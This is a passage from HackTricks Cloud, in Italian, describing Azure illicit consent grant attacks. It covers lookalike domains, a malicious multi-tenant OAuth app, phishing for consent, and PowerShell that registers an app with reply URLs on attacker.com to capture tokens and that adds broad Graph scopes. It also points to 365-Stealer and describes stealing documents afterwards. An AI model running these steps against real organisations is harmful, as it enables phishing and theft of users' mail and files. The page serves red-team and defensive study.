Az - Illicit Consent Grant

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

OAuth App Phishing

Le applicazioni Azure richiedono permessi per accedere ai dati dell'utente (informazioni di base, ma anche accesso a documenti, invio di email...). Se consentito, un utente normale può concedere il consenso solo per i "permessi a basso impatto". In tutti gli altri casi, è richiesto il consenso dell'amministratore. GA, ApplicationAdministrator, CloudApplication Administrator e un ruolo personalizzato che include il permesso di concedere permessi alle applicazioni possono fornire consenso a livello di tenant.

Solo i permessi che non richiedono il consenso dell'amministratore sono classificati come a basso impatto. Questi sono i permessi richiesti per l'accesso di base come openid, profile, email, User.Read e offline_access. Se un'organizzazione consente il consenso degli utenti per tutte le app, un dipendente può concedere il consenso a un'app per leggere quanto sopra dal proprio profilo.

Pertanto, un attaccante potrebbe preparare un App malevola e con un phishing, far sì che l'utente accetti l'App e rubi i suoi dati.

2 Tipi di Attacchi di Illicit Consent Grant

• Non autenticato: Da un account esterno creare un'applicazione con i permessi User.Read e User.ReadBasic.All, ad esempio, phishing di un utente, e sarai in grado di accedere alle informazioni della directory.

• Questo richiede che l'utente phishing possa accettare app OAuth da ambienti esterni!

• Autenticato: Dopo aver compromesso un principale con privilegi sufficienti, creare un'applicazione all'interno dell'account e phishing di un utente privilegiato che può accettare permessi OAuth privilegiati.

• In questo caso puoi già accedere alle informazioni della directory, quindi il permesso User.ReadBasic.All non è più interessante.

• Probabilmente sei interessato a permessi che richiedono un amministratore per concederli, perché un utente normale non può dare alcun permesso alle app OAuth, ecco perché devi phishing solo quegli utenti (più avanti parleremo di quali ruoli/permissi concedono questo privilegio)

Controlla se gli utenti possono concedere consenso

Il seguente comando PowerShell viene utilizzato per controllare la configurazione del consenso per gli utenti in Azure Active Directory (Azure AD) riguardo alla loro capacità di concedere consenso alle applicazioni:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

• Disabilita il consenso degli utenti: Questa impostazione proibisce agli utenti di concedere permessi alle applicazioni. Non è consentito alcun consenso degli utenti alle applicazioni.

• Gli utenti possono acconsentire a app di editori verificati o della tua organizzazione, ma solo per i permessi che selezioni: Questa impostazione consente a tutti gli utenti di acconsentire solo a applicazioni pubblicate da un editore verificato e a applicazioni registrate nel proprio tenant. Aggiunge un livello di controllo consentendo il consenso solo per permessi specifici.

• Gli utenti possono acconsentire a tutte le app: Questa impostazione è più permissiva e consente a tutti gli utenti di acconsentire a qualsiasi permesso per le applicazioni, purché tali permessi non richiedano il consenso amministrativo.

• Politica di consenso per app personalizzata: Questa impostazione indica che è in atto una politica personalizzata, che può essere adattata a requisiti organizzativi specifici e può comportare una combinazione di restrizioni basate sull'editore dell'app, sui permessi richiesti dall'app e su altri fattori.

Comprendere l'Attacco di Consenso Illecito

In un attacco di consenso illecito, gli attaccanti ingannano gli utenti finali inducendoli a concedere permessi a un'applicazione malevola registrata con Azure. Questo avviene facendo apparire l'applicazione legittima, portando le vittime a cliccare inconsapevolmente su un pulsante "Accetta". Di conseguenza, Azure AD emette un token al sito dell'attaccante, consentendo loro di accedere e manipolare i dati della vittima, come leggere o inviare email e accedere a file, senza necessitare di un account organizzativo.

Panoramica del Flusso di Attacco

L'attacco coinvolge diversi passaggi mirati a una azienda generica. Ecco come potrebbe svolgersi:

1. Registrazione del Dominio e Hosting dell'Applicazione: L'attaccante registra un dominio che somiglia a un sito affidabile, ad esempio, "safedomainlogin.com". Sotto questo dominio, viene creato un sottodominio (ad es., "companyname.safedomainlogin.com") per ospitare un'applicazione progettata per catturare codici di autorizzazione e richiedere token di accesso.

2. Registrazione dell'Applicazione in Azure AD: L'attaccante registra quindi un'Applicazione Multi-Tenant nel proprio Tenant di Azure AD, chiamandola con il nome dell'azienda target per apparire legittima. Configura l'URL di reindirizzamento dell'applicazione per puntare al sottodominio che ospita l'applicazione malevola.

3. Impostazione dei Permessi: L'attaccante configura l'applicazione con vari permessi API (ad es., Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Questi permessi, una volta concessi dall'utente, consentono all'attaccante di estrarre informazioni sensibili per conto dell'utente.

4. Distribuzione di Link Malevoli: L'attaccante crea un link contenente l'ID client dell'applicazione malevola e lo condivide con gli utenti target, ingannandoli per concedere il consenso.

Utilizzo di Strumenti per l'Attacco

L'attacco può essere facilitato utilizzando strumenti come 365-Stealer.

Preparazione Pre-Attacco:

Se l'attaccante ha un certo livello di accesso a un utente nell'organizzazione vittima, potrebbe controllare se la politica dell'organizzazione consente all'utente di accettare app:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("[e-mail]", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Per eseguire l'attacco, l'attaccante dovrebbe creare una nuova App nel proprio Tenant Azure (in Registrazioni app), configurata con i permessi:

User.ReadBasic.All è all'interno di Microsoft Graph in Permessi delegati. (I permessi dell'applicazione richiederanno sempre un'approvazione extra).

• User.ReadBasic.All è il permesso che ti permetterà di leggere le informazioni di tutti gli utenti nell'organizzazione se concesso.

• Ricorda che solo GA, ApplicationAdministrator, CloudApplication Administrator e un ruolo personalizzato che include permesso di concedere permessi alle applicazioni possono fornire consenso a livello di tenant. Quindi, dovresti phishing un utente con uno di quei ruoli se vuoi che approvi un App che richiede consenso da parte dell'amministratore.

Puoi anche creare un'App tramite cli con:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Controlla https://www.alteredsecurity.com/post/introduction-to-365-stealer per imparare come configurarlo.

Nota che il token di accesso ottenuto sarà per il graph endpoint con gli ambiti: User.Read e User.ReadBasic.All (le autorizzazioni richieste). Non sarai in grado di eseguire altre azioni (ma queste sono sufficienti per scaricare informazioni su tutti gli utenti nell'organizzazione).

O365-Attack-Toolkit

Puoi anche utilizzare questo strumento per eseguire questo attacco.

Post-Exploitation

Una volta ottenuto l'accesso all'utente, puoi fare cose come rubare documenti sensibili e persino caricare file di documenti compromessi.

References

• https://www.alteredsecurity.com/post/introduction-to-365-stealer

• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.